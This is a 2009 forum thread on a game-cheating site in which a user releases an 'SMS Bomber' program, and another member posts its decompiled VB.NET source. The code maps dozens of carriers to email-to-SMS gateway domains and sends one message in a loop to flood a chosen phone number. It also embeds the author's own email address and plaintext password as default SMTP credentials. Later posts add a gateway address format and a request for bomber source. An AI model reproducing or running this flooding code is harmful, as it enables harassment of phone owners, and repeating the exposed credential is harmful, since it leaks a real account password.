| View previous topic :: View next topic |
| Author |
Message |
InuyashaITB
Newbie cheater
![]() Reputation: 0
Joined: 06 Sep 2009
Posts: 21
Location: california
|
 Posted: Thu Oct 08, 2009 6:03 pm Post subject: [NEW] SMS Bomber International V3.2 (BY InuyashaITB) |
 |
|
Well since i cannot post in the binaries section i will post this here 
This is not a virus and i have included a virus scan from VirusTotal.com
This program is very well known to being mine and in good standing on a lot of other forums (i would give link but i dont know if its against rules or not)
Ok, this is my LATEST (as of October 8th, 2009: 4:20 PM PST) version of my SMS Bomber Series.
Update:
Mostly Bug Fixes and Graphical Changes
Screenshot:
Virus Scan:
http://www.virustotal.com/analisis/1c0856f971c39bbed1e024afb50d621b5f40ecb08acf677c35a3d9b997e3c1c9-1255044218
Download:
Download Here!
I HAVE INCLUDED AN ERRORLOG FILE THAT IF YOU HAVE ANY ISSUES IT WILL MAKE ONE IN THE SAME DIRECTORY IN WHICH YOU RUN THE PROGRAM! post it here if it appears and you have an issue with the program.
|
|
| Back to top |
|
 |
smartz993
I post too much
 Reputation: 2
Joined: 20 Jun 2006
Posts: 2013
Location: USA
|
| Posted: Thu Oct 08, 2009 7:23 pm Post subject: |
|
|
| Wrong section, try the binaries section.
|
|
| Back to top |
|
|
Flyte
Peanuts!!!!
 Reputation: 6
Joined: 19 Apr 2006
Posts: 1887
Location: Canada
|
| Posted: Thu Oct 08, 2009 8:00 pm Post subject: |
|
|
| Holy shit, learn to design a user interface properly.
|
|
| Back to top |
|
|
InuyashaITB
Newbie cheater
![]() Reputation: 0
Joined: 06 Sep 2009
Posts: 21
Location: california
|
| Posted: Thu Oct 08, 2009 11:31 pm Post subject: |
|
|
| smartz993 wrote: | | Wrong section, try the binaries section. |
lol, did you seriously like not even read the first sentence? please re-read it for i will not restate it.
|
|
| Back to top |
|
|
hcavolsdsadgadsg
I'm a spammer
![]() Reputation: 26
Joined: 11 Jun 2007
Posts: 5801
|
| Posted: Thu Oct 08, 2009 11:50 pm Post subject: |
|
|
ugliest UI i have ever seen in my life
also, moved.
|
|
| Back to top |
|
|
InuyashaITB
Newbie cheater
![]() Reputation: 0
Joined: 06 Sep 2009
Posts: 21
Location: california
|
| Posted: Thu Oct 08, 2009 11:58 pm Post subject: |
|
|
| lol, i just throw a bunch of crap together anyways, i dont feel like getting all complicated (or fancy) with it, its more about the actual functionality of it, not its look lol.
|
|
| Back to top |
|
|
Deltron Z
Expert Cheater
![]() Reputation: 1
Joined: 14 Jun 2009
Posts: 164
|
| Posted: Fri Oct 09, 2009 3:10 am Post subject: |
|
|
This is one big ugly code... 
| Code: | Public Sub MainEvents()
If ((Strings.InStr(Me.TextTo.Text, "-", CompareMethod.Binary) <> 0) Or (Strings.InStr(Me.TextTo.Text, " ", CompareMethod.Binary) <> 0)) Then
Interaction.MsgBox("Please remove all hyphens and spaces from the ""Send To"" box!", MsgBoxStyle.OkOnly, Nothing)
ElseIf (Me.TextTo.Text = "") Then
Interaction.MsgBox("You need to enter a number for this to work", MsgBoxStyle.OkOnly, Nothing)
ElseIf (Conversion.Val(Me.NumericUpDown1.Value) = 0) Then
Interaction.MsgBox("You need to enter the amount of messages to send", MsgBoxStyle.OkOnly, Nothing)
Else
Me.Provider = Conversions.ToString(Me.ComboBox1.SelectedItem)
If (Me.Provider = "7-11 Speakout (USA GSM)") Then
Me.SendTo = (Me.TextTo.Text & "@cingularme.com")
ElseIf (Me.Provider = "02 (UK)") Then
Me.SendTo = (Me.TextTo.Text & "@o2.co.uk")
ElseIf (Me.Provider = "Airtel(Karnataka, India)") Then
Me.SendTo = (Me.TextTo.Text & "@airtelkk.com")
ElseIf (Me.Provider = "Airtel(Wireless(Montana, USA))") Then
Me.SendTo = (Me.TextTo.Text & "@sms.airtelmontana.com")
ElseIf (Me.Provider = "Alaska Communications Systems") Then
Me.SendTo = (Me.TextTo.Text & "@msg.acsalaska.com")
ElseIf (Me.Provider = "Aql") Then
Me.SendTo = (Me.TextTo.Text & "@text.aql.com")
ElseIf (Me.Provider = "AT&T Enterprise Paging") Then
Me.SendTo = (Me.TextTo.Text & "@page.att.net")
ElseIf (Me.Provider = "BigRedGiant Mobile Solutions") Then
Me.SendTo = (Me.TextTo.Text & "@tachyonsms.co.uk")
ElseIf (Me.Provider = "Bell Mobility & Solo Mobile (Canada) ") Then
Me.SendTo = (Me.TextTo.Text & "@txt.bell.ca")
ElseIf (Me.Provider = "BPL(Mobile(Mumbai, India))") Then
Me.SendTo = (Me.TextTo.Text & "@bplmobile.com")
ElseIf (Me.Provider = "Cellular(One(Dobson))") Then
Me.SendTo = (Me.TextTo.Text & "@mobile.celloneusa.com")
ElseIf (Me.Provider = "Cingular(Postpaid)") Then
Me.SendTo = (Me.TextTo.Text & "@cingularme.com")
ElseIf (Me.Provider = "Centennial(Wireless)") Then
Me.SendTo = (Me.TextTo.Text & "@cwemail.com")
ElseIf (Me.Provider = "Cingular (GoPhone prepaid)") Then
Me.SendTo = (Me.TextTo.Text & "@cingularme.com")
ElseIf (Me.Provider = "Claro(Brasil)") Then
Me.SendTo = (Me.TextTo.Text & "@clarotorpedo.com.br")
ElseIf (Me.Provider = "Claro(Nicaragua)") Then
Me.SendTo = (Me.TextTo.Text & "@ideasclaro-ca.com")
ElseIf (Me.Provider = "Comcel") Then
Me.SendTo = (Me.TextTo.Text & "@comcel.com.co")
ElseIf (Me.Provider = "Cricket") Then
Me.SendTo = (Me.TextTo.Text & "@sms.mycricket.com")
ElseIf (Me.Provider = "CTI") Then
Me.SendTo = (Me.TextTo.Text & "@sms.ctimovil.com.ar")
ElseIf (Me.Provider = "Emtel(Mauritius)") Then
Me.SendTo = (Me.TextTo.Text & "@emtelworld.net")
ElseIf (Me.Provider = "Fido(Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@fido.ca")
ElseIf (Me.Provider = "General Communications Inc") Then
Me.SendTo = (Me.TextTo.Text & "@msg.gci.net")
ElseIf (Me.Provider = "Globalstar(satellite)") Then
Me.SendTo = (Me.TextTo.Text & "@msg.globalstarusa.com")
ElseIf (Me.Provider = "Helio") Then
Me.SendTo = (Me.TextTo.Text & "@messaging.sprintpcs.com")
ElseIf (Me.Provider = "Illinois Valley Cellular") Then
Me.SendTo = (Me.TextTo.Text & "@ivctext.com")
ElseIf (Me.Provider = "Iridium(satellite)") Then
Me.SendTo = (Me.TextTo.Text & "@msg.iridium.com")
ElseIf (Me.Provider = "Iusacell") Then
Me.SendTo = (Me.TextTo.Text & "@rek2.com.mx")
ElseIf (Me.Provider = "i(wireless)") Then
Me.SendTo = (Me.TextTo.Text & ".iws@iwspcs.net")
ElseIf (Me.Provider = "Koodo(Mobile(Canada))") Then
Me.SendTo = (Me.TextTo.Text & "@msg.koodomobile.com")
ElseIf (Me.Provider = "LMT(Latvia)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.lmt.lv")
ElseIf (Me.Provider = "Meteor(Ireland)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.mymeteor.ie")
ElseIf (Me.Provider = "Mero(Mobile(Nepal))") Then
Me.SendTo = ("977" & Me.TextTo.Text & "@sms.spicenepal.com")
ElseIf (Me.Provider = "MetroPCS()") Then
Me.SendTo = (Me.TextTo.Text & "@mymetropcs.com")
ElseIf (Me.Provider = "Movicom(Argentina)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.movistar.net.ar")
ElseIf (Me.Provider = "Mobitel (Sri Lanka)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.mobitel.lk")
ElseIf (Me.Provider = "Movistar(Colombia)") Then
Me.SendTo = (Me.TextTo.Text & "@movistar.com.co")
ElseIf (Me.Provider = "MTN (South Africa)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.co.za")
ElseIf (Me.Provider = "MTS(Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@text.mtsmobility.com")
ElseIf (Me.Provider = "Nextel (United States)") Then
Me.SendTo = (Me.TextTo.Text & "@messaging.nextel.com")
ElseIf (Me.Provider = "Nextel(Argentina)") Then
Me.SendTo = ("TwoWay.11" & Me.TextTo.Text & "@nextel.net.ar")
ElseIf (Me.Provider = "Orange(Polska(Poland))") Then
Me.SendTo = (Me.TextTo.Text & "@orange.pl")
ElseIf (Me.Provider = "Personal(Argentina)") Then
Me.SendTo = (Me.TextTo.Text & "@alertas.personal.com.ar")
ElseIf (Me.Provider = "Plus(GSM(Poland))") Then
Me.SendTo = ("48" & Me.TextTo.Text & "@text.plusgsm.pl")
ElseIf (Me.Provider = "President's Choice (Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@txt.bell.ca")
ElseIf (Me.Provider = "Qwest") Then
Me.SendTo = (Me.TextTo.Text & "@qwestmp.com")
ElseIf (Me.Provider = "Rogers(Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@pcs.rogers.com")
ElseIf (Me.Provider = "SL Interactive(Australia)") Then
Me.SendTo = (Me.TextTo.Text & "@slinteractive.com.au")
ElseIf (Me.Provider = "Sasktel(Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.sasktel.com")
ElseIf (Me.Provider = "Setar Mobile email (Aruba)") Then
Me.SendTo = ("297" & Me.TextTo.Text & "@mas.aw")
ElseIf (Me.Provider = "Suncom") Then
Me.SendTo = (Me.TextTo.Text & "@tms.suncom.com")
ElseIf (Me.Provider = "T-Mobile(Austria)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.t-mobile.at")
ElseIf (Me.Provider = "T-Mobile(UK)") Then
Me.SendTo = (Me.TextTo.Text & "@t-mobile.uk.net")
ElseIf (Me.Provider = "Telus Mobility(Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@msg.telus.com")
ElseIf (Me.Provider = "Thumb(Cellular)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.thumbcellular.com")
ElseIf (Me.Provider = "Tigo (Formerly Ola)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.tigo.com.co")
ElseIf (Me.Provider = "Tracfone(prepaid)") Then
Me.SendTo = (Me.TextTo.Text & "@mmst5.tracfone.com")
ElseIf (Me.Provider = "Unicel") Then
Me.SendTo = (Me.TextTo.Text & "@utext.com")
ElseIf (Me.Provider = "VirginMobile(Canada)") Then
Me.SendTo = (Me.TextTo.Text & "@vmobile.ca")
ElseIf (Me.Provider = "Vodacom (South Africa)") Then
Me.SendTo = (Me.TextTo.Text & "@voda.co.za")
ElseIf (Me.Provider = "Vodafone(Italy)") Then
Me.SendTo = (Me.TextTo.Text & "@sms.vodafone.it")
ElseIf (Me.Provider = "YCC") Then
Me.SendTo = (Me.TextTo.Text & "@sms.ycc.ru")
ElseIf (Me.Provider = "MobiPCS (Hawaii only)") Then
Me.SendTo = (Me.TextTo.Text & "@mobipcs.net")
ElseIf (Me.Provider = "Verizon Wireless") Then
Me.SendTo = (Me.TextTo.Text & "@vtext.com")
ElseIf (Me.Provider = "AT&T") Then
Me.SendTo = (Me.TextTo.Text & "@txt.att.net")
ElseIf (Me.Provider = "All-Tell") Then
Me.SendTo = (Me.TextTo.Text & "@message.alltel.com")
ElseIf (Me.Provider = "Sprint") Then
Me.SendTo = (Me.TextTo.Text & "@messaging.sprintpcs.com")
ElseIf (Me.Provider = "T-Mobile") Then
Me.SendTo = (Me.TextTo.Text & "@tmomail.net")
ElseIf (Me.Provider = "Nextel") Then
Me.SendTo = (Me.TextTo.Text & "@messaging.nextel.com")
ElseIf (Me.Provider = "Boost Mobile") Then
Me.SendTo = (Me.TextTo.Text & "@myboostmobile.com")
ElseIf (Me.Provider = "Virgin Mobile") Then
Me.SendTo = (Me.TextTo.Text & "@vmobl.com")
ElseIf (Me.Provider = "US Cellular") Then
Me.SendTo = (Me.TextTo.Text & "@email.uscc.net")
ElseIf (Me.Provider = "Bite GSM") Then
Me.SendTo = (Me.TextTo.Text & "@sms.bite.lt")
ElseIf (Me.Provider = "") Then
Interaction.MsgBox("Please select a provider", MsgBoxStyle.OkOnly, Nothing)
Else
Me.SendTo = (Me.TextTo.Text & Me.ComboBox2.SelectedText)
End If
Try
Dim message As New MailMessage
message.From = New MailAddress(Me.TextFrom.Text)
Me.ProgressBar1.Increment(10)
message.To.Add(Me.SendTo)
Me.ProgressBar1.Increment(20)
message.Subject = Me.TextSubject.Text
message.Body = Me.TextBody.Text
Me.ProgressBar1.Increment(30)
If (Me.Check2.CheckState = CheckState.Checked) Then
Me.TextAttach.Text = Me.OpenFileDialog1.FileName
Dim item As New Attachment(Me.TextAttach.Text)
message.Attachments.Add(item)
End If
Me.ProgressBar1.Increment(40)
Dim client As New SmtpClient(Me.SMTPServer.Text)
client.Port = Conversions.ToInteger(Me.SMTPPort.Text)
Me.ProgressBar1.Increment(50)
client.EnableSsl = True
If (Me.CheckBox1.CheckState = CheckState.Checked) Then
client.Credentials = New NetworkCredential(Me.TextUsername.Text, Me.TextPassword.Text)
ElseIf (Me.CheckBox1.CheckState = CheckState.Unchecked) Then
client.Credentials = New NetworkCredential("InuyashaITB@gmail.com", "12lights")
End If
Me.ProgressBar1.Increment(80)
If (Conversion.Val(Me.NumericUpDown1.Value) = 1) Then
client.Send(message)
Me.ProgressBar1.Increment(90)
ElseIf (Conversion.Val(Me.NumericUpDown1.Value) < 1) Then
Interaction.MsgBox("Put one or more for number of messages you idiot!", MsgBoxStyle.OkOnly, Nothing)
Else
Dim i As Double = Conversion.Val(Me.NumericUpDown1.Value)
Do While (i >= 1)
client.Send(message)
Me.ProgressBar1.Increment(CInt(Math.Round(CDbl((50 + (50 / i))))))
i = (i + -1)
Loop
End If
Me.ProgressBar1.Increment(100)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
Dim stream As New FileStream((Application.StartupPath & "\ERRORLOG.txt"), FileMode.Append, FileAccess.Write)
Dim writer As New StreamWriter(stream)
writer.BaseStream.Seek(0, SeekOrigin.Current)
writer.Write(exception)
writer.Write(ChrW(13) & ChrW(10) & "Please post this log at: http://www.hackforums.net/showthread.php?tid=138807")
writer.Close
Me.ProgressBar1.Increment(-100)
Me.Label.Text = "ERROR DURING SENDING PROCESS! CHECK FOR ERRORLOG.TXT!"
ProjectData.ClearProjectError
End Try
If ((Strings.InStr(Me.TextTo.Text, "-", CompareMethod.Binary) <> 0) Or (Strings.InStr(Me.TextTo.Text, " ", CompareMethod.Binary) <> 0)) Then
Me.Label.Text = "ERROR!"
Me.ProgressBar1.Increment(-100)
Else
Me.Label.Text = "DONE!"
Me.ProgressBar1.Increment(100)
End If
If (Me.TextTo.Text = "") Then
Me.ProgressBar1.Increment(-100)
Me.Label.Text = "ERROR!"
End If
End If
End Sub |
and:
| Code: | Private Sub Button5_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Color2.ShowDialog
Me.Label.ForeColor = Me.Color2.Color
Me.Label1.ForeColor = Me.Color2.Color
Me.Label2.ForeColor = Me.Color2.Color
Me.Label3.ForeColor = Me.Color2.Color
Me.Label4.ForeColor = Me.Color2.Color
Me.Label5.ForeColor = Me.Color2.Color
Me.Label6.ForeColor = Me.Color2.Color
Me.Label7.ForeColor = Me.Color2.Color
Me.Label8.ForeColor = Me.Color2.Color
Me.Label9.ForeColor = Me.Color2.Color
Me.Label10.ForeColor = Me.Color2.Color
Me.CheckBox1.ForeColor = Me.Color2.Color
Me.Check2.ForeColor = Me.Color2.Color
End Sub |
Come on, give your controls normal names... you didn't do anything, you just used a .NET function to send the SMS and made an ugly GUI with even uglier code. 
|
|
| Back to top |
|
|
Guy
Expert Cheater
![]() Reputation: 0
Joined: 30 May 2009
Posts: 187
|
| Posted: Fri Oct 09, 2009 1:28 pm Post subject: |
|
|
| Code: |
client.Credentials = New NetworkCredential("InuyashaITB@gmail.com", "12lights")
|
Tsk, tsk, tsk..
_________________
Has anyone seen Hitler around..? If so, PM me! |
|
| Back to top |
|
|
dananos
How do I cheat?
![]() Reputation: 0
Joined: 28 Oct 2009
Posts: 1
|
| Posted: Wed Oct 28, 2009 3:16 pm Post subject: Global SMS ... |
|
|
Hi,
There is a global email to SMS gateway, that you can use using the format 00+countrycode+mobilenumber @ smssturen dot com
i.e. 00447811111111 @ smssturen dot com, and put the message in the subject line.
Dan.
|
|
| Back to top |
|
|
im a dumbfuck leecher
Expert Cheater
![]() Reputation: 0
Joined: 08 Sep 2009
Posts: 151
|
| Posted: Tue Nov 03, 2009 9:34 pm Post subject: |
|
|
| just what i needed
|
|
| Back to top |
|
|
RecycledTwice
How do I cheat?
![]() Reputation: 0
Joined: 01 Dec 2013
Posts: 6
Location: Tennessee
|
| Posted: Sat Sep 24, 2016 4:39 pm Post subject: Lookin To Help |
|
|
for some reason your download link does not work for me. I have been looking for a source code for an SMS Bomber. I would be glad to help with the designing of a UI and tidying up the code some. Of course all the credits besides the design of the UI would go to you. And I am being 100% honest. You'll be the first one to approve.
_________________
Relatively new to cheat engine and scripting but trying to learn & more.......Hope to help contribute. |
|
| Back to top |
|
|
|
FAQ
Search
Memberlist
Usergroups
Register
Profile
Log in to check your private messages
Log in
